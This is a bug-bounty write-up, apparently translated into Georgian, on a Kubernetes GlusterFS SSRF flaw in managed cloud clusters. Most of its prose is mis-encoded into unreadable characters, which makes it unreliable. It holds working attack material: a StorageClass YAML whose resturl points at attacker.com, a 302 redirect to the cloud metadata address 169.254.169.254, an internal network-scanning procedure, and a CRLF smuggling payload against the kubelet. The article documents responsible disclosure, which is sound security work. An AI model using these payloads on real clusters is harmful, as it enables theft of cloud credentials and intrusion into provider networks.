แฒจแแแแจแแแ. แแแ แแแแ: แแ แกแขแแขแแแก แแแขแแ แแแ แแแขแแแฃแ แแ แกแแฃแแ แแแแ แแแแแ, แแฃ แ แแแแ แแแแฎแแ แฎแแก แแแฃแชแแแแแแแก แแฆแแแฉแแแ
แฒแแ แแแ แ แฉแแแ
แฉแแแ แแแ แ แฃแกแแคแ แแฎแแแแแก แแ แ แคแ แแแแ แแแแแแแแ แ, แ แแแแแแแแช แแ แแแแแแแแ แแฆแแแแฉแแแแก แแแฃแชแแแแแแ Kubernetes-แจแ. แฉแแแแ แกแแฎแแแแแแ Brice Augras แแ Christophe Hauquiert, แแแแ แแ Bug Bounty-แแก แแแแ แแแแขแคแแ แแแแ แฉแแแ แชแแแแแแแ แ แแแแ แช Reeverzax แแ Hach แจแแกแแแแแแกแแ:
-
แแ แแแก แแฃแแ แแกแ -Groupe Asten แแแแแแแแ ; -
แแ แแกแขแแค แฐแแฃแแแแ แขแ - Kubernetes-แแก แแ แฅแแขแแฅแขแแ แ Nokia-แจแ.
แ แ แแแฎแแ?
แแก แกแขแแขแแ แแ แแก แฉแแแแ แแแ แแแแก แแแกแแแแแ แแแแแ, แแฃ แ แแแแ แแแแแแฅแชแ แฉแแแฃแแแแ แแแ แแแแแแแแ แแ แแแฅแขแ แแแฃแแแแแแแแ แงแแแแแแ แกแแแแขแแ แแกแ แแแแแแแแกแแแแแแ แแฃแแแแแ แแแแแแแ แแแแแก แชแฎแแแ แแแแจแ (แงแแแแ แจแแแแฎแแแแแจแ, แฏแแ แฏแแ แแแแ).
แ แแแแ แช แแแแแฎแกแแแแแแ, แจแแชแแแแแแแ แแแแแแแ แแแแก แแฅแแ แ แแแแแแแแ แแแแจแแแแแแแแแ แแแแกแแแ:
- แแกแแแ แชแฎแแแ แแแแ แแแชแแแ แแ แแฃแแแ;
- แแกแแแ แแฃแจแแแแแ, แ แแชแ แกแฎแแแแก แกแซแแแแแ.
แฉแแแ แแ แแแ แ แแแแแแแแแแกแ แแ แฌแแกแแแแกแแแ: แฉแแแฃแแแแ แแ แจแแแแ-แแแแ แแก แแแแ แแแแแแ แแ แฃแซแแแ แฆแแแแแแก แฐแแแแ แแแจแ แแแขแแ แแแ. แแแแ แแ แแ แ-แแ แแ แแกแแแ แฆแแแ แซแแแแแ แฃแฉแแแฃแแ แแแแ แแแกแ แฃแแแ.
แแแแแแแแ แแแแแ แแแแแ แแแแแ แจแแฎแแแแ แแก แแแแแฌแแแแแแแแ แแแแกแแฎแแแแแแแ
แกแแฆแแแแก 11 แกแแแแแ แแแแกแฎแแแแ แแแแแแแก แแแกแแแแแแแแแ แแ แแแแแ แแแ แ แแแแแซแแแแ, แจแแแแแแแแ แซแแแแแ แแแแงแแคแแแ. แกแฌแแ แแ แแ แแแแแแแก แแแแ แฌแแแแฌแงแแแ MSRC Bug Bounty แแ แแแ แแแแก แแ แแแแแแแแแแแแ แแ แแแแแแแแแแแก แแกแแแแแชแแแก แแฅแกแแแแแขแ.
แแแแแแ แ แแแแแแแแ แแแแ แ/แแแ แแ แฉแแแแแ แแแฃแแแแแแแแ แจแแแแแแ แแแแฆแ Azure Cloud Bug Bounty-แแก แแกแขแแ แแแจแ แแ แ-แแ แแ แฃแแแฆแแแกแ แฏแแแแ - แแแ แแ แแแแกแ, แ แแช แแแแแฆแแ Kubernetes-แแกแแแ!
แฉแแแแ แแแแแแแแ แแ แแแฅแขแแก แกแแคแฃแซแแแแแ, Kubernetes-แแก แแ แแแฃแฅแขแแก แฃแกแแคแ แแฎแแแแแก แแแแแขแแขแแ แแแแแแฅแแแงแแ
แแฎแแ แแกแฃแ แก แจแแซแแแแแกแแแแแแ แแ แแแแแแ แชแแแแ แแแคแแ แแแชแแ แแฆแแแฉแแแแแ แแแฃแชแแแแแแแก แจแแกแแฎแแ. แแแแแแแแแแแ, แ แแ แแแแคแแกแแแ แแฆแแแฉแแแแก แแ แแแฃแแแแ แแแ แขแแฅแแแแฃแ แแแขแแแแแก infosec แกแแแแแแแแแแแก แกแฎแแ แฌแแแ แแแก!
แแกแ แ แแ, แแฅ แแ แแก แฉแแแแ แแแแแแ ...
แแแแขแแฅแกแขแ
แแแแกแแแแก, แ แแ แฃแแแ แแแแแแแ, แ แ แแแฎแแ, แแแแแ แฏแแ แแแแแแฎแแแแ แ แแแแ แแฃแจแแแแก Kubernetes แฆแ แฃแแแแแแแ แแแ แแแแจแ.
แ แแแแกแแช แแกแแ แแแ แแแแจแ แแฎแแแแ Kubernetes แแแแกแขแแ แก, แแแ แแแแก แคแแแ, แ แแแแ แช แฌแแกแ, แแแแกแ แแแ แฆแ แฃแแแแแแ แแ แแแแแแแ แก:
แกแแแแแขแ แแแ แคแแแ แแแแแแแแแฃแแแ แฆแ แฃแแแแแแแ แแ แแแแแแแ แแก แแแ แแแแขแ แแ, แฎแแแ Kubernetes แแแแแซแแแ แแแแแแแแแฃแแแ แแแแฎแแแ แแแแแก แแแ แแแแขแ แแ.
แแแชแฃแแแแแแแก แแแแแแแฃแ แแ แแแกแแแแฌแแแแแแแ, แแแแแแงแแแแแ แแแฅแแแแแแ, แ แแแแแแแช แแกแแแ แแแแแแแฃแ แแ แฃแแ แฃแแแแแงแแคแแแแ แแแ แ แกแแชแแแแก แคแแแแแแ แแ แจแแแแแแ แแแ PVC-แก (แแฃแแแแแ แแแชแฃแแแแแก แแแแฎแแแแ, แ.แ. แแแชแฃแแแแแก แแแแฎแแแแ).
แแแแแแ แแ, PVC-แแก แจแแฅแแแแกแ แแ K8s แแแแกแขแแ แจแ StorageClass-แแแ แแแแแแจแแ แแแแก แจแแแแแ, แแแชแฃแแแแแก แฃแแ แฃแแแแแงแแคแแก แจแแแแแแ แแแฅแแแแแแแแก แแฎแแ แชแแแแแแก kube/cloud แแแแขแ แแแแ แแก แแแแแฏแแ แ (แแแกแ แแฃแกแขแ แกแแฎแแแ แแแแแแแแแแฃแแแ แแแแแจแแแแแแ). (แฒจแแแแจแแแ. แแแ แแแแ: แฉแแแ แฃแแแ แแแแฌแแ แแ แแแขแ CCM-แแก แจแแกแแฎแแ, แแแกแ แแแแฎแแ แชแแแแแแแก แแแแแแแแแก แแแแแงแแแแแแ แแ แ-แแ แแ แฆแ แฃแแแแแแแ แแ แแแแแแแ แแกแแแแก
แแฃแแแ แแแขแแก แแแแ แแฎแแ แแแญแแ แแแ แแ แแแแแแแ แแแแก แ แแแแแแแแ แขแแแ แแ แกแแแแแก: แแแแ แฃแแแขแแกแแแ แจแแแแก
แฉแแแแก แแแแแแแจแ แฉแแแ แงแฃแ แแแฆแแแ แแแแแแแฎแแแแแ แจแแแ แแแชแฃแแแแแก แฃแแ แฃแแแแแงแแคแแก แแแฅแแแแแแแ, แ แแแแแแช แแแฃแกแขแ แแ แแแฃแแแ แฅแแแแแ:
แขแแแแแแก แแแแแแแฃแ แ แฃแแ แฃแแแแแงแแคแ แฉแแจแแแแแฃแแ Kubernetes แแ แแแแแแแ แแก แแแแแงแแแแแแ
แแแแแแ, แ แแแแกแแช Kubernetes แแแแแแแแแฃแแแ แแแ แแฃแ แแแ แแแแจแ, แแแแขแ แแแแ แแก แแแแแฏแแ แ แแแกแฃแฎแแกแแแแแแแแ แฆแ แฃแแแแแแแ แแ แแแแแแแ แแก แแแแ , แแแแ แแ แแแชแฃแแแแแก แจแแฅแแแแก แแแแฎแแแแ (แแแแแ แแแแแ แแแแจแ แแแแแ แ 3) แขแแแแแก แฆแ แฃแแแแแแแ แแ แแแแแแแ แแก แจแแแ แฅแกแแแก. แแ แแก แแ แแก แแก, แกแแแแช แงแแแแแคแแ แ แแแ แแแแช แกแแแแขแแ แแกแ แฎแแแแ!
แฐแแแแ แแแแก แกแชแแแแ แ
แแ แแแแงแแคแแแแแแจแ แฉแแแ แแแแแแแ แขแแแ, แแฃ แ แแแแ แแแกแแ แแแแแแ แแแแแ แแแฎแกแแแแแ แกแแแฃแจแแ แแ แแชแแกแแ แแ แแแแแฆแแ แฌแแแแแ แฆแ แฃแแแแแแแ แกแแ แแแกแแก แแ แแแแแแแ แแก แจแแแ แ แแกแฃแ แกแแแแ. แแก แแกแแแ แแแฉแแแแแแ, แแฃ แ แแแแ แจแแแแซแแแแ แจแแแกแ แฃแแแ แแแ แแแแฃแแ แฅแแแแแแแแ, แ แแแแ แแชแแ แจแแแ แ แฌแแฃแแแแแแ แกแแแแแแแแก แแแแแแแแ แแ แแ แแแแแแแแแแแก แแแแ แแ.
แแ แแ แแแ แขแแแ แแแแแแฃแแแชแแ (แแ แจแแแแฎแแแแแจแ, แกแแ แแแกแแก แแแแ แแแแ แแแแฎแแแแแก แแแงแแแแแแ) แแแแฎแแแ แ แแแแแแขแแก แแแ แแแแก แแแฆแแ แแแกแแแแก แกแฎแแแแแกแฎแแ แกแแ แแแกแแก แแ แแแแแแแ แแแแก แแแแกแขแแ แแแจแ แแแ แแฃแแ K8-แแแแก แฅแแแจ.
แฉแแแแก แแแแแแแจแ แฉแแแ แงแฃแ แแแฆแแแ แแแแแแแฎแแแแแ GlusterFS แแ แแแแแแแ แแ. แแแแกแแ แแแฃแฎแแแแแแ, แ แแ แแแฅแแแแแแแแแก แจแแแแแแแ แแแแแแแแแแ แแแ แแฆแฌแแ แแแแ แแ แแแแขแแฅแกแขแจแ, Quobyte, StorageOS แแ ScaleIO แแแ แซแแแแแแ แแ แแแแแ แแแฃแชแแแแแแแก แแแแแ แ.
แแแแแแแฃแ แ แแแชแฃแแแแแก แฃแแ แฃแแแแแงแแคแแก แแแฅแแแแแแแก แแแ แแขแแ แแแแแงแแแแแ
แจแแแแฎแแแก แแแแกแแก แแแแแแแแก แแ แแก GlusterFS Golang แแแแแแขแแก แกแแฌแงแแก แแแแจแ แฉแแแ resturl
แแแแแแขแ /volumes
.
แฉแแแ แแแแแแฌแงแแแขแแ แแ แแแแแขแแแแแ แแแแแแแก แแแจแแ แแแ แแแแแขแแแแ #
แแแ แแแแขแ แจแ resturl
. แแฅ แแ แแก แแแ แแแแ YAML แแแแคแแแฃแ แแชแแ, แ แแแแแแช แฉแแแ แแแแแแแงแแแแ แแแฎแแแ แแ แแ แแ SSRF แแแฃแชแแแแแแแก แจแแกแแแแฌแแแแแแ (แจแแแแซแแแแ แแแขแ แฌแแแแแแฎแแ แแแฎแแแ แแ แแ แแ แแ แแแฎแแแ แแ แแ แแ SSRF-แแก แจแแกแแฎแแ, แแแแแแแแแ,
apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: poc-ssrf
spec:
accessModes:
- ReadWriteOnce
volumeMode: Filesystem
resources:
requests:
storage: 8Gi
storageClassName: poc-ssrf
แจแแแแแ แฉแแแ แแแแแแแงแแแแ แแ แแแแแ แแฃแแแ แแแขแแก แแแแกแขแแ แแก แแแกแขแแแชแแฃแ แแ แกแแแแ แแแแแ แแฃแแแฅแขแแ. แ แแแแ แช แฌแแกแ, แฆแ แฃแแแแแแแ แแ แแแแแแแ แแแ (Azure, Google, AWS แแ แ.แจ.) แแแซแแแแ แกแแจแฃแแแแแแก แแแแฆแแ แ แฌแแฃแแแแแแ แกแแแแแแแ แแ แแ แแแ แแแแจแ แแแแแกแแงแแแแแแแ.
แแแแก แฌแงแแแแแแ, แแ แจแแแซแแแ แฉแแแ โแกแแแชแแแแฃแ แโ แคแแแแแก แแแแแงแแแแแ. Kube-แแแแขแ แแแแ แแ-แแแแแฏแแ แแ แจแแแกแ แฃแแ แแแฆแแแฃแแ HTTP แแแแฎแแแแ:
kubectl create -f sc-poc.yaml
แแแกแฃแฎแ แแแแแแแกแฎแแแแแก แแแแแแกแแฎแแแแแแ
แแแแก แจแแแแแ แแแแแแ แจแแแซแแแแ HTTP แแแกแฃแฎแแก แแแฆแแแ แกแแแแแแ แกแแ แแแ แแกแแแ - แแ แซแแแแแแแแก แกแแจแฃแแแแแแ describe pvc
แแ get events
แแฃแแแฅแขแแจแ. แแ แแแ แแแแช: Kubernetes-แแก แแก แแแแฃแแแกแฎแแแแ แแ แแแแแ แ แซแแแแแ แแ แแแแแกแแแขแงแแแแแ แแแแแก แแแคแ แแฎแแแแแแแจแ/แจแแชแแแแแก แจแแขแงแแแแแแแแแจแ...
แแฅ แแ แแก แแแแแแแแ แแแฃแแแ https://www.google.fr
แแแ แแแแขแ แแ แแแงแแแแแ resturl
:
kubectl describe pvc poc-ssrf
# ะธะปะธ ะถะต ะผะพะถะตัะต ะฒะพัะฟะพะปัะทะพะฒะฐัััั kubectl get events
แแ แแแแแแแแ, แฉแแแ แจแแแแแแคแแ แแแแแแแแ แแกแแแ แแแแฎแแแแแ, แ แแแแ แแชแแ HTTP POST แแ แแแ แแแแแฆแ แกแแแแกแฃแฎแ แแ แแแแแก แจแแแแแ แกแ, แแฃ แแแแ แฃแแแแแก แแแแ แแงแ 201. แแแแขแแ, แแแแแแฌแงแแแขแแ แฉแแแแแขแแ แแแแแ แแแแแขแแแแแ แแแแแแ แแ แแแแแคแแ แแแแแ แฐแแแแ แแแแก แแก แกแชแแแแ แ แแฎแแแ แแแแแแแแแแ.
แฉแแแแ แแแแแแแก แแแแแฃแชแแ
- แแแคแแ แแแแแฃแแ แกแชแแแแ แ #1: 302 แแแแแแแกแแแแ แแแแแก แแแแแงแแแแแ แแแ แ แกแแ แแแ แแแแ HTTP แแแแแแแก แจแแกแแชแแแแแแ, แ แแแ แฃแแ แฃแแแแแงแแก แจแแแ แแแแแชแแแแแแก แจแแแ แแแแแแก แฃแคแ แ แแแฅแแแแ แแแ.
- แแแคแแ แแแแแฃแแ แกแชแแแแ แ #2: LAN แกแแแแแ แแแแก แแแขแแแแขแแแแชแแ แแ แจแแแ แ แแกแฃแ แกแแแแก แแฆแแแฉแแแ.
- แแแคแแ แแแแแฃแแ แกแชแแแแ แ #3: HTTP CRLF + แแแแขแ แแแแแแแก แแแแแงแแแแแ (โแแแแขแ แแแแแแแก แแแแฎแแแแโ) แแแ แแแแฃแแ HTTP แแแแฎแแแแแแแก แจแแกแแฅแแแแแแ แแ kube-แแแแขแ แแแแ แแก แแฃแ แแแแแแแแแ แแแแฆแแแฃแแ แแแแแชแแแแแแก แแแกแแฆแแแแ.
แขแแฅแแแแฃแ แ แแแฎแแกแแแแแแแแแ
- แแแแแแแ แแแแแแงแแแ Azure Kubernetes Service (AKS) Kubernetes แแแ แกแแแ 1.12 แฉแ แแแแแแ แแแ แแแแก แ แแแแแแจแ.
- แแแแแ แแฆแฌแแ แแแ แกแชแแแแ แแแ แจแแกแ แฃแแแ Kubernetes-แแก แฃแแฎแแแก แแแแแจแแแแแแแ, แแแ แแ แแแกแแแ แกแชแแแแ แแกแ, แ แแแแแ แแแก แกแญแแ แแแแแแ Kubernetes แแแแแฃแแ Golang แแแ แกแแแ โค 1.12.
- แแแแแแแกแฎแแแแแก แแแ แ แกแแ แแแ แ -
https://attacker.com
.
แแแคแแ แแแแแฃแแ แกแชแแแแ แ #1: HTTP POST แแแแฎแแแแแก แแแแแแแกแแแแ แแแแ GET-แแ แแ แแแ แซแแแแแแ แ แแแแแชแแแแแแก แแแฆแแแ
แแแแแแแแ แแแแ แแแแแแ แแแฃแแฏแแแแกแแ แแแแแแแกแฎแแแแแก แกแแ แแแ แแก แแแแ แฃแแแแแก แแแแคแแแฃแ แแชแแแ 302 HTTP RetcodePOST แแแแฎแแแแแก แแแแแฅแชแแแ GET แแแแฎแแแแแ (แแแแแฏแ 4 แแแแแ แแแแจแ):
แแแ แแแแ แแแแฎแแแแ (3) แแแแแแขแแกแแแ GlusterFS (แแแแขแ แแแแ แแก แแแแแฏแแ แ), แแฅแแก POST แขแแแ. แแ แแแแแฏแแแแก แจแแแแแ แฉแแแ แจแแแซแแแแ แแแกแ แแแแแฅแชแแแ GET-แแ:
- แ แแแแ แช แแแ แแแแขแ แ
resturl
StorageClass-แจแ แแแแแแแแฃแแแhttp://attacker.com/redirect.php
. - แกแแแแแแ แฌแแ แขแแแ
https://attacker.com/redirect.php
แแแกแฃแฎแแแก 302 HTTP แกแขแแขแฃแกแแก แแแแแ แจแแแแแแ แแแแแแ แแแแแก แกแแแแฃแ แแ:http://169.254.169.254
. แแก แจแแแซแแแแ แแงแแก แแแแแกแแแแ แ แกแฎแแ แจแแแ แ แแกแฃแ แกแ - แแ แจแแแแฎแแแแแจแ, แแแแแแแกแแแแ แแแแแก แแแฃแแ แแแแแแงแแแแแ แแฎแแแแ แ แแแแ แช แแแแแแแแ. - แกแขแแแแแ แขแฃแแแ net/http แแแแแแแแแแ Golang แแแแแแแกแแแแ แแแแก แแแแฎแแแแแก แแ แแแ แแแฅแแแแก POST-แก GET-แแ 302 แกแขแแขแฃแกแแก แแแแแ, แ แแก แจแแแแแแแแช แฎแแแแ HTTP GET แแแแฎแแแแ แกแแแแแแ แ แแกแฃแ แกแแ.
HTTP แแแกแฃแฎแแก แกแฎแแฃแแแก แฌแแกแแแแแฎแแ แฃแแแ แแแแแแแแ describe
PVC แแแแแฅแขแ:
kubectl describe pvc xxx
แแฅ แแแชแแแฃแแแ HTTP แแแกแฃแฎแแก แแแแแแแแ JSON แคแแ แแแขแจแ, แ แแแแแก แแแฆแแแแช แจแแแซแแแแ:
แแ แแ แแแกแแแแก แแแแแแแ แแแฃแชแแแแแแแก แจแแกแแซแแแแแแแแแ แจแแแฆแฃแแฃแแ แแงแ แจแแแแแแ แแฃแแฅแขแแแแก แแแแ:
- HTTP แกแแแแฃแ แแแแก แฉแแกแแแก แจแแฃแซแแแแแแแ แแแแแแแ แแแแฎแแแแแจแ.
- POST แแแแฎแแแแแก แจแแกแ แฃแแแแแก แจแแฃแซแแแแแแแ แกแฎแแฃแแจแ แแแ แแแแขแ แแแแ (แแก แแแกแแฎแแ แฎแแแแแแ แแแกแแฆแแแแก แแแแจแแแแแแแแก แแแแฎแแแแแ etcd แแแกแขแแแชแแแแแ, แ แแแแแแช แแฃแจแแแแก 2379 แแแ แขแ, แแฃ แแแจแแคแ แฃแแ HTTP แแแแแแงแแแแแ).
- แแแกแฃแฎแแก แกแฎแแฃแแแก แจแแแแแ แกแแก แแแแฆแแแแก แจแแฃแซแแแแแแแ, แ แแแแกแแช แกแขแแขแฃแกแแก แแแแ แแงแ 200 แแ แแแกแฃแฎแก แแ แฐแฅแแแแ JSON Content-Type.
แแแคแแ แแแแแฃแแ แกแชแแแแ แ #2: แแแแแแฃแ แ แฅแกแแแแก แกแแแแแ แแแ
แจแแแแแ แแก แแแฎแแแ แแ แแ แแ SSRF แแแแแแ แแแแแแงแแแแแแแ แฆแ แฃแแแแแแแ แแ แแแแแแแ แแก แจแแแ แฅแกแแแแก แกแแแแแ แแแแกแแแแก แแ แแแกแฃแฎแแแแก แกแแคแฃแซแแแแแ แกแฎแแแแแกแฎแแ แแแกแแแแแก แกแแ แแแกแแแแก (แแแขแแแแแแชแแแแแแก แแแแแแแแ, Kubelet แแ แ.แจ.) แแแแแแแแฎแแแกแแแแก. แแฃแแแก แแแแขแ แแแแ แ.
แฏแแ แแแแแกแแแฆแแ แ Kubernetes แแแแแแแแแขแแแแก แกแขแแแแแ แขแฃแแ แแแกแแแแแก แแแ แขแแแ (8443, 10250, 10251 แแ แ.แจ.), แจแแแแแ แแ แกแแแแแ แแแแก แแ แแชแแกแแก แแแขแแแแขแแแแชแแ แแแแแแฌแแ.
แแแแก แแแแแแแแกแฌแแแแแแ, แ แแ แ แแกแฃแ แกแแแแก แกแแแแแ แแแแก แแก แแแแแแ แซแแแแแ แกแแแชแแคแแแฃแ แแ แแ แแ แแ แแก แแแแกแแแแแ แแแแกแแแฃแ แกแแแแแ แแแแแ แแ SSRF แแแกแขแ แฃแแแแขแแแแแ, แฉแแแ แแแแแแฌแงแแแขแแ แจแแแแแฅแแแ แฉแแแแ แกแแแฃแแแ แ แแฃแจแแแแแ bash แกแแ แแแขแแ, แ แแแแแแช แแแขแแแแขแแแแ แแแก แแแแ แแ แแชแแกแก.
แแแแแแแแแ, แจแแแ แฅแกแแแแก 172.16.0.0/12 แแแแแแแแแแก แกแฌแ แแคแ แกแแแแแ แแแแกแแแแก, แแแ แแแแแฃแ แแ แแแแฅแแแแแ 15 แแฃแจแ. แแแแแแฆแแแจแแฃแแ IP แแแแแแแแแ แแ แฉแแฃแแแ แแฎแแแแ แกแแแแแแแแแแ แแ แจแแแซแแแแ แจแแแชแแแแแก แแฅแแแแ แแแแแ แแขแฃแแ แกแแ แแแกแแก แแ แแแแแแแ แแก IP แแแแแแแแแจแ.
แแ แแ IP แแแกแแแแ แแแกแ แแ แแ แแ แแแ แขแแก แกแแแแแ แแแแกแแแแก, แแฅแแแ แฃแแแ แแแแแแแแ แจแแแแแแ:
- แฌแแจแแแแ แแแแ แจแแแแฌแแแแฃแแ StorageClass;
- แฌแแจแแแแ แฌแแแ แแแแแกแขแฃแ แแแฃแแ แแฃแแแแแ แแแชแฃแแแแแก แแแแฎแแแแ;
- แจแแชแแแแแ IP แแ แแแ แขแแก แแแแจแแแแแแแแแ
sc.yaml
; - แจแแฅแแแแแ StorageClass แแฎแแแ IP-แแ แแ แแแ แขแแ;
- แจแแฅแแแแแ แแฎแแแ PVC;
- แแแแแแฌแแ แ แกแแแแแ แแแแก แจแแแแแแแแก แแแแแงแแแแแแ แแฆแฌแแ แก PVC.
แแแคแแ แแแแแฃแแ แกแชแแแแ แ #3: CRLF แแแแฅแชแแ + HTTP แแแแขแ แแแแแแฃแแ แแแแแขแแแ Kubernetes แแแแกแขแแ แแก โแซแแแโ แแแ แกแแแแจแ
แแฃ แแแแก แแแ แแ แแ แแแแแแแ แแ แจแแกแแแแแแ แแแแแแขแแแก K8s แแแแกแขแแ แแก แซแแแแ แแแ แกแแแแ ะธ แแแกแชแ แแแ แฌแแแแแ แแฃแแ-แแแแขแ แแแแ -แแแแแฏแแ แแก แแฃแ แแแแแแแ, แแคแแฅแขแ แแแแแ แฃแคแ แ แแแแจแแแแแแแแแ แแแฎแแ.
แแแแแแแกแฎแแแแแกแแแแก แแแ แแแแช แแแแ แแ แฃแคแ แ แแแกแแฎแแ แฎแแแแแแ แจแแชแแแแแก HTTP แแแแฎแแแแแแ, แ แแแแแแแช แจแแฅแแแแแแ แกแ แฃแแ HTTP แแแกแฃแฎแแก แแแกแแฆแแแแ แแแกแ แจแแฎแแแฃแแแแแกแแแแแ .
แแแแ แกแชแแแแ แแก แแแแกแแฎแแ แชแแแแแแแแ, แจแแแแแแ แแแ แแแแแ แฃแแแ แแแแแงแแคแแแแแแแก:
- แแแแฎแแแ แแแแแก แฃแแแ แฐแฅแแแแแก แฌแแแแแ kube-controller-manager-แแก แแฃแ แแแแแแแ (แ แแแแ แช, แแแแแแแแแ, Azure LogInsights-แจแ).
- Kubernetes แแแแกแขแแ แแ แฃแแแ แแแแแแงแแแแก Golang-แแก แแแ แกแแ 1.12-แแ แแแแแแ.
แฉแแแ แแแแแแแแแกแแ แแแแแแฃแ แ แแแ แแแ, แ แแแแแแช แแฎแแแแก แแแแฃแแแแแชแแแก แกแแแฃแแแชแแแก GlusterFS Go แแแแแแขแกแ แแ แงแแแ แกแแแแแแ แกแแ แแแ แก แจแแ แแก (แแ แแ แแแกแแแแก แแแแก แจแแแแแแแแแ PoC-แแก แแแแแฅแแแงแแแแแกแแแ).
แฒแแแแแก
แแแแแ แแฆแฌแแ แแแ แแแฎแแแ แแ แแ แแ SSRF-แแก แแแแแแแแชแแแ ะฒะผะตััะต แแแแ แฉแแแ แจแแแซแแแแ แฉแแแแ แกแฃแ แแแแแกแแแแแ แแแแแแแแแแแแแ แแแแฎแแแแแแ, แแแ แจแแ แแก แกแแแแฃแ แแแแก แจแแชแแแ, HTTP แแแแแแ, แแแ แแแแขแ แแแ แแ แแแแแชแแแแแ, แ แแแแแแแช แจแแแแแ แแแแแฃแจแแแ kube-controller-manager.
แแฅ แแ แแก แกแแแฃแจแแ "แกแแขแงแฃแแ แแก" แแแแแแแแ แแแ แแแแขแ แจแ resturl
StorageClass, แ แแแแแแช แแฎแแ แชแแแแแแก แจแแขแแแแก แแกแแแแก แกแชแแแแ แก:
http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn
แจแแแแแ แแ แแก แจแแชแแแแ แแ แแกแแกแฃแ แแแแ แแแกแฃแฎแ, แจแแขแงแแแแแแแ, แ แแแแแก แจแแกแแฎแแแแช แฉแแฌแแ แแแแ แแแแขแ แแแแ แแก แแฃแ แแแแแแจแ. แแแแฃแแแกแฎแแแแแ แฉแแ แแฃแแ แกแแขแงแแแแ แแแแก แฌแงแแแแแแ, HTTP แกแแแแกแฃแฎแ แจแแขแงแแแแแแแแก แจแแแแแแกแ แแกแแแ แแแแฎแแแ แแฅ.
แแก แแงแ แฉแแแแ แงแแแแแแ แแคแแฅแขแฃแ แ โแกแแขแงแฃแแ แโ แแแแชแแคแชแแแก แแขแแแชแแแฃแแแแแก แคแแ แแแแแจแ.
แแ แแแแแแแแก แแแแแงแแแแแแ, แฉแแแ แจแแแซแแแแ แจแแแแแแ แจแแขแแแแแแก แแแแฎแแ แชแแแแแแ แกแฎแแแแแกแฎแแ แแแ แแฃแแ k8s แแ แแแแแแแ แแแแก แแแแกแขแแ แแแแ: แแ แแแแแแแแแแแก แแแแ แแแก แกแแ แแแคแแแแขแแแ แแแขแแแแแแชแแแแแแก แแแกแขแแแชแแแแแ, Master DoS (แแแจแแคแ แฃแแ) HTTP แแแแฎแแแแแแแก แแแจแแแแแแ etcd master แแแแแแแแแ แแแแ แแ แ.แจ.
Aftermath
Kubernetes-แแก แแคแแชแแแแฃแ แแแแชแฎแแแแแแจแ แฉแแแ แแฆแแแแแฉแแแแ SSRF แแแฃแชแแแแแแแกแแแ แแแแแแจแแ แแแแ, แแแ แจแแคแแกแแ CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. แแฃ แแแแแแแแแแกแฌแแแแแ แแฎแแแแ แแฃแแแ แแแขแแก แแแ แแแแขแ แแแ แแแแแแจแแ แแแฃแ แแแฃแชแแแแแแแก, แแแแแแแแแแก แแแฅแขแแ แก (แแแแแแแแแแก แแแฅแขแแ แ) แแแ แแแแแแคแแชแแ แแแแ แ แแแแ แช แแ แ.
แแฃแแชแ, แจแแกแแซแแ แจแแแแแแแแก แจแแคแแกแแแแ แแแ แแฃแแ แกแแ แแแกแแก แแแ แแแแก แแแแขแแฅแกแขแจแ (แแ แแก แแงแ แฉแแแแ แแแแแแแก แงแแแแแแ แกแแแแขแแ แแกแ แแแฌแแแ!) แแแแแซแฃแแแแก, แ แแ แแแฃแชแแแแแแ แ แแแขแแแแจแ แแแแแแแแแแแกแแคแแชแแ แแแก. แแ แแขแแแฃแแ CVSS10/10 แแ แแแแแ แแแกแขแ แแแฃแขแแ แแกแแแแก.
แฅแแแแแ แแแชแแแฃแแแ แแแแแขแแแแแ แแแคแแ แแแชแแ, แ แแแแแแช แแแแแฎแแแ แแแแ แแแแแแ แฉแแแแ แแแกแแแ แแแแแ แฆแ แฃแแแแแแ แแแ แแแแจแ แแแขแแแชแแฃแ แ แแแแแฅแแแแแแแก แจแแคแแกแแแแกแแก:
แแแแแแแแแ
- แจแแแกแ แฃแแแ แแ แซแแแแแแแ แแแกแขแแแชแแฃแ แแ แจแแซแแแแแ แจแแแ แกแแ แแแคแแแแขแแแแก แแแแแงแแแแแแ.
- แแแแแแฆแแแจแแฃแแ แกแชแแแแ แแก แ แแแ แแแฃแชแแ แแแ IDOR (แแแฃแชแแแแ แแแ แแแแแ แ แแแแแฅแขแแก แแแแแแแแ) แแแแแแแก แแแแแงแแแแแแ แแแแแแฃแ แฅแกแแแจแ แแแแแแแ แกแฎแแ แ แแกแฃแ แกแแแแ.
แแแแคแแแแแชแแแแแแ
- แแแแแแกแฎแแแก แขแแแ
แแแแ แแแแ แแแซแ แแแแ แฆแ แฃแแแแก แกแแ แแแคแแแแขแแแแก แแแแแ แแแก แฌแงแแแแแแ (แแแแแแแแแ, แแแขแแแแแแชแแแแแแก API). - แแแคแแ แแแชแแแก แจแแแ แแแแแ แแแแแแฃแ แ แฅแกแแแแก แกแแแแแ แแแแ (SSH แแแ แกแแแก แแแแกแแแฆแแ แ, HTTP แกแแ แแแ แแก แแแ แกแแ, ...).
- แจแแแแ แแแแ แแแแแแแแแแแกแ แแ แแแคแ แแกแขแ แฃแฅแขแฃแ แแก แแแคแแ แแแชแแ แจแแแ API-แแแแก แแแแแแแแฎแแแ, แ แแแแ แแชแแ แแแขแแแแแแชแแแแแแก API (
http://169.254.169.254
,โฆ). - แแแแแแขแแก แแแแแชแแแแแแก แแแแแ แแ แฆแ แฃแแแแก แกแแ แแแคแแแแขแแแแก แแแแแงแแแแแแ.
แฎแแแแแกแแฌแแแแแแแ
แงแแแแ แแฅแกแแแแแขแแก แกแชแแแแ แ, แ แแแแแแช แแแแแแจแแ แแแฃแแแ แแแแแแกแฎแแแก แแแฅแขแแ แแแแแ แแแแแแแแแแก, แจแแแซแแแแ แแแแแงแแแแแฃแ แแฅแแแก แแแกแขแ แฃแฅแชแแฃแแ แฅแแแแแแแแแกแแแแก แแ แแแแแแฌแแแแก แแแแแแขแแก แแแ แแแแขแ แแแแ (แแ แแแแแกแแแแ แ แกแฎแแ) แกแแแแแแกแขแ แ แจแแแแฎแแแแแแ แแแฃแฌแแแแแแแ.
